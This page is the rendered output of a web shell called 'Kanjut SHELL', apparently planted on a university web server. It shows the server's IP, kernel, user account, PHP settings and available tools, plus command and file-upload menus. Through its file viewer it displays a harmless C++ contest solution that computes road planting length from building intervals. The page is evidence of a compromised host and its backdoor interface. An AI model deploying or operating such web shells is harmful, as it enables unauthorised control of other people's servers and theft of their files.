Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.227.108
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/kames/../kames/contest/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kames/../kames/contest/probb08.cpp
#include <iostream>
#include <iomanip>
using namespace std;

int main ()
{

float L,
      x1,
      x2,
      svx1[100],
      svx2[100],
      sumplant,
      sumbuild;

int  nbuild, i, j, k;

bool  quit;

cout << fixed << setprecision(1);

cin >> L; // start next road

while (L >= 0)  // have another road
{

   nbuild = 0;

   cin >> x1 >> x2;   

   while (x1 <= x2)   // have another building for this road
   {

//      cout << "\nNext building: " << x1 << " " << x2;
      if (nbuild == 0)   // put first building in list
      {
         nbuild = 1;
         svx1[0] = x1;
         svx2[0] = x2;
      }
      else               // check this building against existing buildings
      {
         quit = false;
         i = 0;
         while (!quit && i < nbuild)
         { 
            if (x2 < svx1[i])  // before next building  
            { 
               // move existing buildings down to maintain sorted list
               // in case input isn't sorted already
           
               for (k = nbuild; k > i; k--)
               {
                  svx1[k] = svx1[k-1];
                  svx2[k] = svx2[k-1];
               }

               // add in this building

               nbuild++;
               svx1[i] = x1;
               svx2[i] = x2;
               quit = true;
            }
            else if (x1 < svx1[i] && x2 <= svx2[i])
            {
               svx1[i] = x1;
               quit = true;
            }
            else if (x1 < svx1[i] && x2 > svx2[i])
            {
               svx1[i] = x1;
               svx2[i] = x2;
               quit = true;
            }
            else if (x1 >= svx1[i] && x2 <= svx2[i])
               quit = true;
            else if (x1 >= svx1[i] && x1 <= svx2[i] && x2 > svx2[i])
            {
               svx2[i] = x2;
               quit = true;
            }
            else if (i == nbuild-1)// beyond last building, add to list
            {
               svx1[nbuild] = x1;
               svx2[nbuild] = x2;
               nbuild++;
               quit = true;
            }   
            else  // on to next building in list
               i++;
         }

      
      }  // end of else for buildings beyond first

      cin >> x1 >> x2;  // on to next building in input

   }  // end of while for all buildings on one road

   // Now, calculate planting length for this road

   sumbuild = 0;
   for (j = 0; j < nbuild; j++)
   {
      cout << "\nbuilding " << j << " " << svx1[j] << " " << svx2[j];
      sumbuild += svx2[j] - svx1[j];
   }
   sumplant = L - sumbuild;

   cout << "\nThe total planting length is " << sumplant;


   cin >> L;   // on to next road

}
    
return 0;

}

Stv3n404 - 2023